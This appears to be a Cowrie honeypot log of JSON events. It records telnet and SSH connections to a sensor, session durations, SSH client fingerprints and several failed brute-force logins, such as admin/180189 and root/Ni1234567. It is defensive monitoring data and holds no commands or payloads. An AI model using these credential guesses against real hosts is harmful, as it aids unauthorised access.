{"eventid":"cowrie.session.closed","duration":30.680063486099243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:50.570130Z","src_ip":"213.171.199.40","session":"bd581041f066","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080935955047607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:51.071652Z","src_ip":"213.171.199.40","session":"dfd4da25949b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53825879096985,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:52.245376Z","src_ip":"213.171.199.40","session":"1bb5946982ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":54470,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e0ccc22c2c5","protocol":"telnet","message":"New connection: 213.171.199.40:54470 (159.203.135.109:23) [session: 7e0ccc22c2c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:53.632915Z"}
{"eventid":"cowrie.session.closed","duration":30.328700065612793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:54.091338Z","src_ip":"213.171.199.40","session":"df3deca8e6f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.087907552719116,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:54.182792Z","src_ip":"45.63.42.31","session":"e47157ecf13e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":59652,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca1ea3865d86","protocol":"telnet","message":"New connection: 213.171.199.40:59652 (159.203.135.109:23) [session: ca1ea3865d86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:31:55.279380Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":51380,"dst_ip":"159.203.135.109","dst_port":23,"session":"2164d2bfb273","protocol":"telnet","message":"New connection: 213.171.199.40:51380 (159.203.135.109:23) [session: 2164d2bfb273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:01.380418Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":51950,"dst_ip":"159.203.135.109","dst_port":23,"session":"7940c8725d1d","protocol":"telnet","message":"New connection: 213.171.199.40:51950 (159.203.135.109:23) [session: 7940c8725d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:01.577517Z"}
{"eventid":"cowrie.session.closed","duration":30.87953281402588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:02.397433Z","src_ip":"213.171.199.40","session":"3b31326ac35e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49744153022766,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:03.032510Z","src_ip":"213.171.199.40","session":"80580690278d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58266,"dst_ip":"159.203.135.109","dst_port":23,"session":"88d36ca37249","protocol":"telnet","message":"New connection: 213.171.199.40:58266 (159.203.135.109:23) [session: 88d36ca37249]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:03.549656Z"}
{"eventid":"cowrie.session.closed","duration":31.0244882106781,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:04.198233Z","src_ip":"213.171.199.40","session":"aeb5785b2f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36046,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a95464ff610","protocol":"telnet","message":"New connection: 213.171.199.40:36046 (159.203.135.109:23) [session: 6a95464ff610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:05.268859Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":40035,"dst_ip":"159.203.135.109","dst_port":22,"session":"a16fff647478","protocol":"ssh","message":"New connection: 2.57.121.112:40035 (159.203.135.109:22) [session: a16fff647478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:05.358080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:05.363463Z","src_ip":"2.57.121.112","session":"a16fff647478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:05.462940Z","src_ip":"2.57.121.112","session":"a16fff647478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180189","message":"login attempt [admin/180189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:05.934461Z","src_ip":"2.57.121.112","session":"a16fff647478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18011977","message":"login attempt [admin/18011977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:07.037208Z","src_ip":"2.57.121.112","session":"a16fff647478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.4815411567688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:07.186812Z","src_ip":"213.171.199.40","session":"9c0304f78fd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45318,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0f12f7e1212","protocol":"telnet","message":"New connection: 213.171.199.40:45318 (159.203.135.109:23) [session: f0f12f7e1212]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:08.042998Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"171290","message":"login attempt [admin/171290] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:08.143080Z","src_ip":"2.57.121.112","session":"a16fff647478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.965152263641357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:08.177862Z","src_ip":"213.171.199.40","session":"2884747b92b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8752760887146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:08.208449Z","src_ip":"213.171.199.40","session":"eba9c31167ab","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"171278","message":"login attempt [admin/171278] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:09.244765Z","src_ip":"2.57.121.112","session":"a16fff647478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":49500,"dst_ip":"159.203.135.109","dst_port":23,"session":"a542d2f54647","protocol":"telnet","message":"New connection: 213.171.199.40:49500 (159.203.135.109:23) [session: a542d2f54647]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:09.324863Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"171180","message":"login attempt [admin/171180] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:10.346780Z","src_ip":"2.57.121.112","session":"a16fff647478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:11.449418Z","src_ip":"2.57.121.112","session":"a16fff647478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58434,"dst_ip":"159.203.135.109","dst_port":23,"session":"2271f5e3032b","protocol":"telnet","message":"New connection: 213.171.199.40:58434 (159.203.135.109:23) [session: 2271f5e3032b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:11.891255Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":34240,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f0a613fe0d1","protocol":"telnet","message":"New connection: 213.171.199.40:34240 (159.203.135.109:23) [session: 6f0a613fe0d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:13.025211Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":35132,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcf99cb9a39c","protocol":"telnet","message":"New connection: 213.171.199.40:35132 (159.203.135.109:23) [session: bcf99cb9a39c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:13.296893Z"}
{"eventid":"cowrie.session.closed","duration":30.65104365348816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:14.080872Z","src_ip":"213.171.199.40","session":"8a997fb7c516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":42408,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ff5bcd14fa7","protocol":"ssh","message":"New connection: 107.173.55.151:42408 (10.17.0.5:22) [session: 0ff5bcd14fa7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:14.227005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:14.232483Z","src_ip":"107.173.55.151","session":"0ff5bcd14fa7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:14.251501Z","src_ip":"107.173.55.151","session":"0ff5bcd14fa7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ni1234567","message":"login attempt [root/Ni1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:14.362001Z","src_ip":"107.173.55.151","session":"0ff5bcd14fa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39214,"dst_ip":"159.203.135.109","dst_port":23,"session":"4202d34d2af2","protocol":"telnet","message":"New connection: 213.171.199.40:39214 (159.203.135.109:23) [session: 4202d34d2af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:14.482749Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":40534,"dst_ip":"159.203.135.109","dst_port":23,"session":"4238ef4edebb","protocol":"telnet","message":"New connection: 213.171.199.40:40534 (159.203.135.109:23) [session: 4238ef4edebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:14.826233Z"}
{"eventid":"cowrie.session.closed","duration":30.315046548843384,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:15.120752Z","src_ip":"213.171.199.40","session":"5a9fb90bc03a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:15.385147Z","src_ip":"107.173.55.151","session":"0ff5bcd14fa7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":43756,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e9851f1ff40","protocol":"telnet","message":"New connection: 213.171.199.40:43756 (159.203.135.109:23) [session: 6e9851f1ff40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:15.814656Z"}
{"eventid":"cowrie.session.closed","duration":30.183828115463257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:16.086067Z","src_ip":"213.171.199.40","session":"0ebf8148f427","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":45094,"dst_ip":"159.203.135.109","dst_port":23,"session":"6e0672b6e0ff","protocol":"telnet","message":"New connection: 213.171.199.40:45094 (159.203.135.109:23) [session: 6e0672b6e0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:16.259837Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":48520,"dst_ip":"159.203.135.109","dst_port":23,"session":"7448f7b83d72","protocol":"telnet","message":"New connection: 213.171.199.40:48520 (159.203.135.109:23) [session: 7448f7b83d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:17.273921Z"}
{"eventid":"cowrie.session.closed","duration":37.26353406906128,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:18.233995Z","src_ip":"103.115.172.252","session":"0894185679fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919700145721436,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:19.141603Z","src_ip":"213.171.199.40","session":"1097a61d1665","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":46818,"dst_ip":"10.17.0.5","dst_port":23,"session":"6bf3c57a2d2e","protocol":"telnet","message":"New connection: 45.63.42.31:46818 (10.17.0.5:23) [session: 6bf3c57a2d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:20.861441Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":35660,"dst_ip":"159.203.135.109","dst_port":23,"session":"09a95181eb48","protocol":"telnet","message":"New connection: 213.171.199.40:35660 (159.203.135.109:23) [session: 09a95181eb48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:22.001698Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":38292,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7c7a631ee2c","protocol":"telnet","message":"New connection: 213.171.199.40:38292 (159.203.135.109:23) [session: f7c7a631ee2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:22.820606Z"}
{"eventid":"cowrie.session.closed","duration":84.1034255027771,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:23.282698Z","src_ip":"103.115.172.252","session":"6387181ae886","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":56330,"dst_ip":"10.17.0.5","dst_port":23,"session":"40aae47d5998","protocol":"telnet","message":"New connection: 103.115.172.252:56330 (10.17.0.5:23) [session: 40aae47d5998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:23.471495Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":42132,"dst_ip":"159.203.135.109","dst_port":23,"session":"8466e057bc55","protocol":"telnet","message":"New connection: 213.171.199.40:42132 (159.203.135.109:23) [session: 8466e057bc55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:23.927959Z"}
{"eventid":"cowrie.session.closed","duration":30.438196182250977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:24.071034Z","src_ip":"213.171.199.40","session":"7e0ccc22c2c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":46106,"dst_ip":"159.203.135.109","dst_port":23,"session":"eef2b46b5f49","protocol":"telnet","message":"New connection: 213.171.199.40:46106 (159.203.135.109:23) [session: eef2b46b5f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:25.164095Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":49880,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cf50247625a","protocol":"telnet","message":"New connection: 213.171.199.40:49880 (159.203.135.109:23) [session: 6cf50247625a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:26.324726Z"}
{"eventid":"cowrie.session.closed","duration":31.282879114151,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:26.562135Z","src_ip":"213.171.199.40","session":"ca1ea3865d86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":52390,"dst_ip":"159.203.135.109","dst_port":23,"session":"66fc02461fc6","protocol":"telnet","message":"New connection: 213.171.199.40:52390 (159.203.135.109:23) [session: 66fc02461fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:27.136673Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":57928,"dst_ip":"159.203.135.109","dst_port":23,"session":"b54806235247","protocol":"telnet","message":"New connection: 213.171.199.40:57928 (159.203.135.109:23) [session: b54806235247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:28.890053Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":34094,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcfd080d430c","protocol":"telnet","message":"New connection: 213.171.199.40:34094 (159.203.135.109:23) [session: bcfd080d430c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:30.184861Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39372,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa32d7c33ff1","protocol":"telnet","message":"New connection: 45.63.42.31:39372 (10.17.0.5:23) [session: fa32d7c33ff1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:30.789636Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36660,"dst_ip":"159.203.135.109","dst_port":23,"session":"e87108ac893e","protocol":"telnet","message":"New connection: 213.171.199.40:36660 (159.203.135.109:23) [session: e87108ac893e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:30.937628Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33968,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0d446142532","protocol":"telnet","message":"New connection: 213.171.199.40:33968 (159.203.135.109:23) [session: a0d446142532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:31.134025Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":44620,"dst_ip":"10.17.0.5","dst_port":23,"session":"7170ee0011a2","protocol":"telnet","message":"New connection: 45.63.42.31:44620 (10.17.0.5:23) [session: 7170ee0011a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:31.173900Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39848,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0a7eef2fcbc","protocol":"telnet","message":"New connection: 213.171.199.40:39848 (159.203.135.109:23) [session: d0a7eef2fcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:31.844483Z"}
{"eventid":"cowrie.session.closed","duration":30.512497186660767,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:32.089877Z","src_ip":"213.171.199.40","session":"7940c8725d1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04218053817749,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:32.422496Z","src_ip":"213.171.199.40","session":"2164d2bfb273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63820171356201,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:34.187757Z","src_ip":"213.171.199.40","session":"88d36ca37249","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873395919799805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:36.142118Z","src_ip":"213.171.199.40","session":"6a95464ff610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02465319633484,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:39.067587Z","src_ip":"213.171.199.40","session":"f0f12f7e1212","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.57476305961609,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:39.326153Z","src_ip":"103.115.172.252","session":"932e23e2a267","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.746805667877197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:40.071559Z","src_ip":"213.171.199.40","session":"a542d2f54647","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35358,"dst_ip":"10.17.0.5","dst_port":23,"session":"055ce2fd44e8","protocol":"telnet","message":"New connection: 45.63.42.31:35358 (10.17.0.5:23) [session: 055ce2fd44e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:40.572695Z"}
{"eventid":"cowrie.session.closed","duration":30.16568875312805,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:32:42.056858Z","src_ip":"213.171.199.40","session":"2271f5e3032b","protocol":"telnet"}
